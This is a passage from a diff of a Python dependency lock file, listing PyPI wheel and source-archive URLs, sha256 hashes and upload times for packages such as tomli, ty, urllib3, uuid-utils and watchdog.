"https://files.pythonhosted.org/packages/f2/4a/5f25789f9a460bd858ba9756ff52d0830d825b458e13f754952dd15fb7bb/tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f", size = 250396, upload-time = "2026-01-11T11:22:12.325Z" }, + { url = "https://files.pythonhosted.org/packages/aa/2f/b73a36fea58dfa08e8b3a268750e6853a6aac2a349241a905ebd86f3047a/tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86", size = 97530, upload-time = "2026-01-11T11:22:13.865Z" }, + { url = "https://files.pythonhosted.org/packages/3b/af/ca18c134b5d75de7e8dc551c5234eaba2e8e951f6b30139599b53de9c187/tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87", size = 108227, upload-time = "2026-01-11T11:22:15.224Z" }, + { url = "https://files.pythonhosted.org/packages/22/c3/b386b832f209fee8073c8138ec50f27b4460db2fdae9ffe022df89a57f9b/tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132", size = 94748, upload-time = "2026-01-11T11:22:16.009Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c4/84047a97eb1004418bc10bdbcfebda209fca6338002eba2dc27cc6d13563/tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6", size = 154725, upload-time = "2026-01-11T11:22:17.269Z" }, + { url = "https://files.pythonhosted.org/packages/a8/5d/d39038e646060b9d76274078cddf146ced86dc2b9e8bbf737ad5983609a0/tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc", size = 148901, upload-time = "2026-01-11T11:22:18.287Z" }, + { url = "https://files.pythonhosted.org/packages/73/e5/383be1724cb30f4ce44983d249645684a48c435e1cd4f8b5cded8a816d3c/tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66", size = 243375, upload-time = "2026-01-11T11:22:19.154Z" }, + { url = "https://files.pythonhosted.org/packages/31/f0/bea80c17971c8d16d3cc109dc3585b0f2ce1036b5f4a8a183789023574f2/tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d", size = 250639, upload-time = "2026-01-11T11:22:20.168Z" }, + { url = "https://files.pythonhosted.org/packages/2c/8f/2853c36abbb7608e3f945d8a74e32ed3a74ee3a1f468f1ffc7d1cb3abba6/tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702", size = 246897, upload-time = "2026-01-11T11:22:21.544Z" }, + { url = "https://files.pythonhosted.org/packages/49/f0/6c05e3196ed5337b9fe7ea003e95fd3819a840b7a0f2bf5a408ef1dad8ed/tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8", size = 254697, upload-time = "2026-01-11T11:22:23.058Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f5/2922ef29c9f2951883525def7429967fc4d8208494e5ab524234f06b688b/tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776", size = 98567, upload-time = "2026-01-11T11:22:24.033Z" }, + { url = "https://files.pythonhosted.org/packages/7b/31/22b52e2e06dd2a5fdbc3ee73226d763b184ff21fc24e20316a44ccc4d96b/tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475", size = 108556, upload-time = "2026-01-11T11:22:25.378Z" }, + { url = "https://files.pythonhosted.org/packages/48/3d/5058dff3255a3d01b705413f64f4306a141a8fd7a251e5a495e3f192a998/tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2", size = 96014, upload-time = "2026-01-11T11:22:26.138Z" }, + { url = "https://files.pythonhosted.org/packages/b8/4e/75dab8586e268424202d3a1997ef6014919c941b50642a1682df43204c22/tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9", size = 163339, upload-time = "2026-01-11T11:22:27.143Z" }, + { url = "https://files.pythonhosted.org/packages/06/e3/b904d9ab1016829a776d97f163f183a48be6a4deb87304d1e0116a349519/tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0", size = 159490, upload-time = "2026-01-11T11:22:28.399Z" }, + { url = "https://files.pythonhosted.org/packages/e3/5a/fc3622c8b1ad823e8ea98a35e3c632ee316d48f66f80f9708ceb4f2a0322/tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df", size = 269398, upload-time = "2026-01-11T11:22:29.345Z" }, + { url = "https://files.pythonhosted.org/packages/fd/33/62bd6152c8bdd4c305ad9faca48f51d3acb2df1f8791b1477d46ff86e7f8/tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d", size = 276515, upload-time = "2026-01-11T11:22:30.327Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ff/ae53619499f5235ee4211e62a8d7982ba9e439a0fb4f2f351a93d67c1dd2/tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f", size = 273806, upload-time = "2026-01-11T11:22:32.56Z" }, + { url = "https://files.pythonhosted.org/packages/47/71/cbca7787fa68d4d0a9f7072821980b39fbb1b6faeb5f5cf02f4a5559fa28/tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b", size = 281340, upload-time = "2026-01-11T11:22:33.505Z" }, + { url = "https://files.pythonhosted.org/packages/f5/00/d595c120963ad42474cf6ee7771ad0d0e8a49d0f01e29576ee9195d9ecdf/tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087", size = 108106, upload-time = "2026-01-11T11:22:34.451Z" }, + { url = "https://files.pythonhosted.org/packages/de/69/9aa0c6a505c2f80e519b43764f8b4ba93b5a0bbd2d9a9de6e2b24271b9a5/tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd", size = 120504, upload-time = "2026-01-11T11:22:35.764Z" }, + { url = "https://files.pythonhosted.org/packages/b3/9f/f1668c281c58cfae01482f7114a4b88d345e4c140386241a1a24dcc9e7bc/tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4", size = 99561, upload-time = "2026-01-11T11:22:36.624Z" }, + { url = "https://files.pythonhosted.org/packages/23/d1/136eb2cb77520a31e1f64cbae9d33ec6df0d78bdf4160398e86eec8a8754/tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a", size = 14477, upload-time = "2026-01-11T11:22:37.446Z" }, +] + +[[package]] +name = "ty" +version = "0.0.55" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/08/48/f687c8d268e3581f2f104d1f2ac5944d5b5e841b3695c613b3f263e5bbf7/ty-0.0.55.tar.gz", hash = "sha256:88ca87073825a79a8327c550efcc86cec94344890244c5946f84c9e44a969f31", size = 6040230, upload-time = "2026-06-27T00:27:29.385Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/a3/1a90ba7e5a61c6d09adb92346ddba97668095fc257b577af433e5ac4f404/ty-0.0.55-py3-none-linux_armv6l.whl", hash = "sha256:31e83eef512d066542fe990fe1a3b814423abd1616376c54e48af7045b3e1749", size = 11677249, upload-time = "2026-06-27T00:26:52.18Z" }, + { url = "https://files.pythonhosted.org/packages/82/3a/669f9aa478c38243e213a2684db1502086026cfadc15bb1b29b7cbde030d/ty-0.0.55-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ab4bca857950608fea73e269e2da369d43e6467131de85160d68e2fa466fa248", size = 11444180, upload-time = "2026-06-27T00:26:54.576Z" }, + { url = "https://files.pythonhosted.org/packages/15/a4/6a4b2507a53ce6530c66c5b4fe0d58551eb1748ffa9e0696c32fdd55bbd4/ty-0.0.55-py3-none-macosx_11_0_arm64.whl", hash = "sha256:55032bfd31bf2c5355ee81bdc6407b144a1cc7ee41e5681dd1368e4cef2ba327", size = 10963134, upload-time = "2026-06-27T00:26:57.348Z" }, + { url = "https://files.pythonhosted.org/packages/ce/ae/a3b1a0f1cc83b7d258662cb98aa80a720c2e671d0e8fa0d17a4d5d057a7a/ty-0.0.55-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef1e049f69ce65b3c269af67624607f435e1c32319786c1e453ef9611502f295", size = 11493517, upload-time = "2026-06-27T00:26:59.26Z" }, + { url = "https://files.pythonhosted.org/packages/0d/9f/311ce39065a979ef40a9b847f685c8e02464e53adf1671e081eea90640ca/ty-0.0.55-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:631409975c681d5a280fc5a99b7b32e9e801f33be7567c6b42ec331362f59d7d", size = 11460590, upload-time = "2026-06-27T00:27:01.425Z" }, + { url = "https://files.pythonhosted.org/packages/cd/8f/3bf29aa77bd78aae48275153135a2052fa7d3ccdf1ecabeb99c8773abd66/ty-0.0.55-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e08cb0436e68b9351555ae8f2697138c9009b4d5b4ae4272232988b2a431a98f", size = 12098430, upload-time = "2026-06-27T00:27:03.596Z" }, + { url = "https://files.pythonhosted.org/packages/bc/6e/e88411a88240b94640bba06fb6d0d92b247fbeef47ee2bc71f39e58c2558/ty-0.0.55-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:16c215ad9f823829409b94ee188cfaa4563f6e1384f6ce3fecb1db75f6c7cf7c", size = 12673086, upload-time = "2026-06-27T00:27:05.589Z" }, + { url = "https://files.pythonhosted.org/packages/6c/7e/8f1762fb7f9245a68ba5ae338d73c59403ce57554e5d311b8bb55027b0ec/ty-0.0.55-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b510eb8f4032baf11b7aee2f1d53babc3b4ca03939b9cdcf6a9d15761d575188", size = 12242559, upload-time = "2026-06-27T00:27:07.714Z" }, + { url = "https://files.pythonhosted.org/packages/72/1f/143657daf2670d977dac83435f1fe03d4843efb798d8e1e75950e541aadd/ty-0.0.55-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ddc05e7959709c3b9b83aa627128a80446865e3c1a4882638dcff6d776dc34a", size = 12021409, upload-time = "2026-06-27T00:27:09.881Z" }, + { url = "https://files.pythonhosted.org/packages/6d/30/69487c439dd1fad3a4a3d96f0a472193de297eaba6fc4b8ea687ce434ac2/ty-0.0.55-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:636e8e5078787b8c6916c94e1406719f10189a4ca6b37b813a5922ce5857a8c7", size = 12303807, upload-time = "2026-06-27T00:27:11.986Z" }, + { url = "https://files.pythonhosted.org/packages/e8/ca/cd88b6493dafc7db077f5e17c0438eb3af6e2d6d08f616dbb52a8ddfd567/ty-0.0.55-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:ef7d6deaacb73fec603666b5471f1dc5a5699aa84e11a6d4d644dd07ca72121e", size = 11441263, upload-time = "2026-06-27T00:27:14.087Z" }, + { url = "https://files.pythonhosted.org/packages/aa/fe/66b6915671653ab739f71e4f1b0528e69da64429b7ebf3840c625b6e43f2/ty-0.0.55-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:9aeea0fe5875d3cf37faf0e44d0fdf9669335467749741b8fc0103916fb5cd32", size = 11484584, upload-time = "2026-06-27T00:27:16.311Z" }, + { url = "https://files.pythonhosted.org/packages/4a/4f/7a9c0bbac8b899e9f6c0ec110c6612f52e4db35f6bb17ddc0ef60384fa3e/ty-0.0.55-py3-none-musllinux_1_2_i686.whl", hash = "sha256:0b699c01310dbd2705a07c97c5f4aaeedef61bd9adeea2e7c46aed32401d3576", size = 11759309, upload-time = "2026-06-27T00:27:18.471Z" }, + { url = "https://files.pythonhosted.org/packages/ca/de/b6f8b1b69aa631b5716ef3f985c3b56de0e46c2499cc00d30c402b41f714/ty-0.0.55-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:32cbeba543e46de2a983ec6d525d8b56514f7422bd1e1b57c44ccf7bfa72c38a", size = 12128755, upload-time = "2026-06-27T00:27:20.55Z" }, + { url = "https://files.pythonhosted.org/packages/7d/90/a912531e51ee7e076b42972479290fa687c0f5e747b7e773f3033164acaa/ty-0.0.55-py3-none-win32.whl", hash = "sha256:52b968e24eb4f7a5c3bd251db1f99f60dd385890356d38fc619d84f1b423446a", size = 11117501, upload-time = "2026-06-27T00:27:22.714Z" }, + { url = "https://files.pythonhosted.org/packages/4c/7a/99d59843bf8908a7f9f4d13fda107dbad07b7faa28ecd7860eacf363fb1c/ty-0.0.55-py3-none-win_amd64.whl", hash = "sha256:bf39cbfdc0add44d94bd3fff1f53c351418d134b6a66b87efdb7876d7b7a2224", size = 12150106, upload-time = "2026-06-27T00:27:24.881Z" }, + { url = "https://files.pythonhosted.org/packages/b3/44/20987505cedf2a865b08482f0eabc181fd9599b062964057ec8a128a4296/ty-0.0.55-py3-none-win_arm64.whl", hash = "sha256:f7f3700a9a060e8f1af11e4fb63fafcaf272b041781f4ccdfda2b3b5c6c1e439", size = 11560157, upload-time = "2026-06-27T00:27:27.332Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "urllib3" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, +] + +[[package]] +name = "uuid-utils" +version = "0.14.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7b/d1/38a573f0c631c062cf42fa1f5d021d4dd3c31fb23e4376e4b56b0c9fbbed/uuid_utils-0.14.1.tar.gz", hash = "sha256:9bfc95f64af80ccf129c604fb6b8ca66c6f256451e32bc4570f760e4309c9b69", size = 22195, upload-time = "2026-02-20T22:50:38.833Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/43/b7/add4363039a34506a58457d96d4aa2126061df3a143eb4d042aedd6a2e76/uuid_utils-0.14.1-cp39-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:93a3b5dc798a54a1feb693f2d1cb4cf08258c32ff05ae4929b5f0a2ca624a4f0", size = 604679, upload-time = "2026-02-20T22:50:27.469Z" }, + { url = "https://files.pythonhosted.org/packages/dd/84/d1d0bef50d9e66d31b2019997c741b42274d53dde2e001b7a83e9511c339/uuid_utils-0.14.1-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:ccd65a4b8e83af23eae5e56d88034b2fe7264f465d3e830845f10d1591b81741", size = 309346, upload-time = "2026-02-20T22:50:31.857Z" }, + { url = "https://files.pythonhosted.org/packages/ef/ed/b6d6fd52a6636d7c3eddf97d68da50910bf17cd5ac221992506fb56cf12e/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b56b0cacd81583834820588378e432b0696186683b813058b707aedc1e16c4b1", size = 344714, upload-time = "2026-02-20T22:50:42.642Z" }, + { url = "https://files.pythonhosted.org/packages/a8/a7/a19a1719fb626fe0b31882db36056d44fe904dc0cf15b06fdf56b2679cf7/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bb3cf14de789097320a3c56bfdfdd51b1225d11d67298afbedee7e84e3837c96", size = 350914, upload-time = "2026-02-20T22:50:36.487Z" }, + { url = "https://files.pythonhosted.org/packages/1d/fc/f6690e667fdc3bb1a73f57951f97497771c56fe23e3d302d7404be394d4f/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:60e0854a90d67f4b0cc6e54773deb8be618f4c9bad98d3326f081423b5d14fae", size = 482609, upload-time = "2026-02-20T22:50:37.511Z" }, + { url = "https://files.pythonhosted.org/packages/54/6e/dcd3fa031320921a12ec7b4672dea3bd1dd90ddffa363a91831ba834d559/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce6743ba194de3910b5feb1a62590cd2587e33a73ab6af8a01b642ceb5055862", size = 345699, upload-time = "2026-02-20T22:50:46.87Z" }, + { url = "https://files.pythonhosted.org/packages/04/28/e5220204b58b44ac0047226a9d016a113fde039280cc8732d9e6da43b39f/uuid_utils-0.14.1-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:043fb58fde6cf1620a6c066382f04f87a8e74feb0f95a585e4ed46f5d44af57b", size = 372205, upload-time = "2026-02-20T22:50:28.438Z" }, + { url = "https://files.pythonhosted.org/packages/c7/d9/3d2eb98af94b8dfffc82b6a33b4dfc87b0a5de2c68a28f6dde0db1f8681b/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:c915d53f22945e55fe0d3d3b0b87fd965a57f5fd15666fd92d6593a73b1dd297", size = 521836, upload-time = "2026-02-20T22:50:23.057Z" }, + { url = "https://files.pythonhosted.org/packages/a8/15/0eb106cc6fe182f7577bc0ab6e2f0a40be247f35c5e297dbf7bbc460bd02/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:0972488e3f9b449e83f006ead5a0e0a33ad4a13e4462e865b7c286ab7d7566a3", size = 625260, upload-time = "2026-02-20T22:50:25.949Z" }, + { url = "https://files.pythonhosted.org/packages/3c/17/f539507091334b109e7496830af2f093d9fc8082411eafd3ece58af1f8ba/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:1c238812ae0c8ffe77d8d447a32c6dfd058ea4631246b08b5a71df586ff08531", size = 587824, upload-time = "2026-02-20T22:50:35.225Z" }, + { url = "https://files.pythonhosted.org/packages/2e/c2/d37a7b2e41f153519367d4db01f0526e0d4b06f1a4a87f1c5dfca5d70a8b/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:bec8f8ef627af86abf8298e7ec50926627e29b34fa907fcfbedb45aaa72bca43", size = 551407, upload-time = "2026-02-20T22:50:44.915Z" }, + { url = "https://files.pythonhosted.org/packages/65/36/2d24b2cbe78547c6532da33fb8613debd3126eccc33a6374ab788f5e46e9/uuid_utils-0.14.1-cp39-abi3-win32.whl", hash = "sha256:b54d6aa6252d96bac1fdbc80d26ba71bad9f220b2724d692ad2f2310c22ef523", size = 183476, upload-time = "2026-02-20T22:50:32.745Z" }, + { url = "https://files.pythonhosted.org/packages/83/92/2d7e90df8b1a69ec4cff33243ce02b7a62f926ef9e2f0eca5a026889cd73/uuid_utils-0.14.1-cp39-abi3-win_amd64.whl", hash = "sha256:fc27638c2ce267a0ce3e06828aff786f91367f093c80625ee21dad0208e0f5ba", size = 187147, upload-time = "2026-02-20T22:50:45.807Z" }, + { url = "https://files.pythonhosted.org/packages/d9/26/529f4beee17e5248e37e0bc17a2761d34c0fa3b1e5729c88adb2065bae6e/uuid_utils-0.14.1-cp39-abi3-win_arm64.whl", hash = "sha256:b04cb49b42afbc4ff8dbc60cf054930afc479d6f4dd7f1ec3bbe5dbfdde06b7a", size = 188132, upload-time = "2026-02-20T22:50:41.718Z" }, + { url = "https://files.pythonhosted.org/packages/91/f9/6c64bdbf71f58ccde7919e00491812556f446a5291573af92c49a5e9aaef/uuid_utils-0.14.1-pp311-pypy311_pp73-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:b197cd5424cf89fb019ca7f53641d05bfe34b1879614bed111c9c313b5574cd8", size = 591617, upload-time = "2026-02-20T22:50:24.532Z" }, + { url = "https://files.pythonhosted.org/packages/d0/f0/758c3b0fb0c4871c7704fef26a5bc861de4f8a68e4831669883bebe07b0f/uuid_utils-0.14.1-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:12c65020ba6cb6abe1d57fcbfc2d0ea0506c67049ee031714057f5caf0f9bc9c", size = 303702, upload-time = "2026-02-20T22:50:40.687Z" }, + { url = "https://files.pythonhosted.org/packages/85/89/d91862b544c695cd58855efe3201f83894ed82fffe34500774238ab8eba7/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b5d2ad28063d422ccc2c28d46471d47b61a58de885d35113a8f18cb547e25bf", size = 337678, upload-time = "2026-02-20T22:50:39.768Z" }, + { url = "https://files.pythonhosted.org/packages/ee/6b/cf342ba8a898f1de024be0243fac67c025cad530c79ea7f89c4ce718891a/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:da2234387b45fde40b0fedfee64a0ba591caeea9c48c7698ab6e2d85c7991533", size = 343711, upload-time = "2026-02-20T22:50:43.965Z" }, + { url = "https://files.pythonhosted.org/packages/b3/20/049418d094d396dfa6606b30af925cc68a6670c3b9103b23e6990f84b589/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:50fffc2827348c1e48972eed3d1c698959e63f9d030aa5dd82ba451113158a62", size = 476731, upload-time = "2026-02-20T22:50:30.589Z" }, + { url = "https://files.pythonhosted.org/packages/77/a1/0857f64d53a90321e6a46a3d4cc394f50e1366132dcd2ae147f9326ca98b/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c1dbe718765f70f5b7f9b7f66b6a937802941b1cc56bcf642ce0274169741e01", size = 338902, upload-time = "2026-02-20T22:50:33.927Z" }, + { url = "https://files.pythonhosted.org/packages/ed/d0/5bf7cbf1ac138c92b9ac21066d18faf4d7e7f651047b700eb192ca4b9fdb/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:258186964039a8e36db10810c1ece879d229b01331e09e9030bc5dcabe231bd2", size = 364700, upload-time = "2026-02-20T22:50:21.732Z" }, +] + +[[package]] +name = "watchdog" +version = "6.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/db/7d/7f3d619e951c88ed75c6037b246ddcf2d322812ee8ea189be89511721d54/watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282", size = 131220, upload-time = "2024-11-01T14:07:13.037Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/56/90994d789c61df619bfc5ce2ecdabd5eeff564e1eb47512bd01b5e019569/watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26", size = 96390, upload-time = "2024-11-01T14:06:24.793Z" }, + { url = "https://files.pythonhosted.org/packages/55/46/9a67ee697342ddf3c6daa97e3a587a56d6c4052f881ed926a849fcf7371c/watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112", size = 88389, upload-time = "2024-11-01T14:06:27.112Z" }, + { url = "https://files.pythonhosted.org/packages/44/65/91b0985747c52064d8701e1075eb96f8c40a79df889e59a399453adfb882/watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3", size = 89020, upload-time = "2024-11-01T14:06:29.876Z" }, + { url = "https://files.pythonhosted.org/packages/e0/24/d9be5cd6642a6aa68352ded4b4b10fb0d7889cb7f45814fb92cecd35f101/watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c", size = 96393, upload-time = "2024-11-01T14:06:31.756Z" }, + { url = "https://files.pythonhosted.org/packages/63/7a/6013b0d8dbc56adca7fdd4f0beed381c59f6752341b12fa0886fa7afc78b/watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2", size = 88392, upload-time = "2024-11-01T14:06:32.99Z" }, + { url = "https://files.pythonhosted.org/packages/d1/40/b75381494851556de56281e053700e46bff5b37bf4c7267e858640af5a7f/watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c", size = 89019, upload-time = "2024-11-01T14:06:34.963Z" }, + { url = "https://files.pythonhosted.org/packages/39/ea/3930d07dafc9e286ed356a679aa02d777c06e9bfd1164fa7c19c288a5483/watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948", size = 96471, upload-time = "2024-11-01T14:06:37.745Z" }, + { url = "https://files.pythonhosted.org/packages/12/87/48361531f70b1f87928b045df868a9fd4e253d9ae087fa4cf3f7113be363/watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860", size = 88449, upload-time = "2024-11-01T14:06:39.748Z" }, + { url = "https://files.pythonhosted.org/packages/5b/7e/8f322f5e600812e6f9a31b75d242631068ca8f4ef0582dd3ae6e72daecc8/watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0", size = 89054, upload-time = "2024-11-01T14:06:41.009Z" }, + { url = 